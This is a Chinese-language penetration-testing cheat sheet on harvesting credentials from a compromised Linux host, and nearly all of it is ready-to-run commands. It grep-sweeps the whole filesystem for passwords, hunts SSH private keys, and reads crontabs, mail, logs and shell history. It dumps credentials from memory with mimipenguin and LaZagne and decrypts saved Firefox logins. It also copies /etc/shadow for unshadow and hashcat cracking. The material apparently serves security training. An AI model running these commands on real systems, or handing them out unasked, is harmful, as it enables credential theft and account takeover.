:::tips 这个漏洞就不用多说了,就是无脑查找所有文件中可能存在漏洞的程序
:::
我们可以获得密码的来源分为:Files | History | Memory | Key-Rings |
---|---|---|---|
配置 | 日志 | 缓存 | 浏览器存储的凭据 |
数据库 | 命令行历史 | 内存处理 | |
笔记 | |||
脚本 | |||
源代码 | |||
定时任务 | |||
SSH 密钥 |
grep –color=auto -rnw ‘/’ -ie “PASSWORD\|PASSWD” –color=always 2> /dev/null
find . -type f -exec grep -i -I “PASSWORD\|PASSWD” {} /dev/null \;
locate config.php
locate password; locate passwd
cat /var/mail/*; cat var/spol/mail
locate config.
crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron; cat /etc/cron; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny; cat /etc/crontab; cat /etc/anacrontab; cat /var/spool/cron/crontabs/root
Linux 凭据搜索
1. 文件
# 配置文件搜索
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
# 配置文件中的凭据
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
# 数据库
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
# 笔记
find /home/* -type f -name "*.txt" -o ! -name "*.*"
# 脚本
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
# 定时任务
cat /etc/crontab
# SSH 私钥
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
# SSH 公钥
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
2. 历史
# 命令行历史
tail -n5 /home/*/.bash*
# 日志
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
日志文件 | 描述 |
---|---|
/var/log/messages | 通用系统活动日志。 |
/var/log/syslog | 通用系统活动日志。 |
/var/log/auth.log | (Debian) 所有与身份验证相关的日志。 |
/var/log/secure | (RedHat/CentOS) 所有认证相关的日志。 |
/var/log/boot.log | 引导信息。 |
/var/log/dmesg | 硬件和驱动程序相关信息和日志。 |
/var/log/kern.log | 内核相关的警告、错误和日志。 |
/var/log/faillog | 登录尝试失败。 |
/var/log/cron | 与 cron 作业相关的信息。 |
/var/log/mail.log | 所有邮件服务器相关的日志。 |
/var/log/httpd | 所有 Apache 相关的日志。 |
/var/log/mysqld.log | 所有 MySQL 服务器相关的日志。 |
3. 内存
许多应用程序和进程使用户身份验证所需凭据,并将其存储在内存或文件中,方便重复利用。我们在 Linux 中可以使用 mimipenguin 工具,此工具需要管理员 /root 权限
# 使用 mimipenguin
sudo python3 mimipenguin.py
sudo bash mimipenguin.sh
# 使用 LaZagne
sudo python2.7 laZagne.py all
4. 浏览器
浏览器将用户保存的密码以加密形式存储在系统本地以供重复使用。例如,Mozilla Firefox浏览器将加密的凭据存储在相应用户的隐藏文件夹中。这些通常包括相关的字段名称、URL 和其他有价值的信息。 我们可以将这些加密信息获取,然后使用 Firefox Decrypt 进行解密
ls -l .mozilla/firefox/ | grep default
cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .
# 使用工具 firefox_decrypt
python3.9 firefox_decrypt.py
# 使用 laZagne
python3 laZagne.py browsers
passwd&shadow&Opasswd
看理论介绍破解 Linux 凭证
# UnShadow
sudo cp /etc/passwd /tmp/passwd.bak
sudo cp /etc/shadow /tmp/shadow.bak
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
# 破解 hash
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked